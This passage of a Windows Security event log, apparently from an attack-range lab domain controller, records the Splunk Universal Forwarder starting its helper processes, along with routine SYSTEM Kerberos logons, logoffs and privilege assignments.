SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257388
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x784
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:28:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257387
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x960
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257391
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F485F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:29:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257390
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4F485F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50885

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:29:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257389
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F485F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:29:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257392
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x85c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257394
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257393
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257395
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257396
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x478
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257398
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe34
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:29:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257397
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=257401
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F7DED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 02:30:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=257400
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x4F7DED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		50898

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 02:30:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=257399
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4F7DED

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 02:30:08 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257402
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x240
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257403
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc30
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257404
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257405
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ec
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257406
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3b0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257408
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x32c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 02:30:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=257407
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
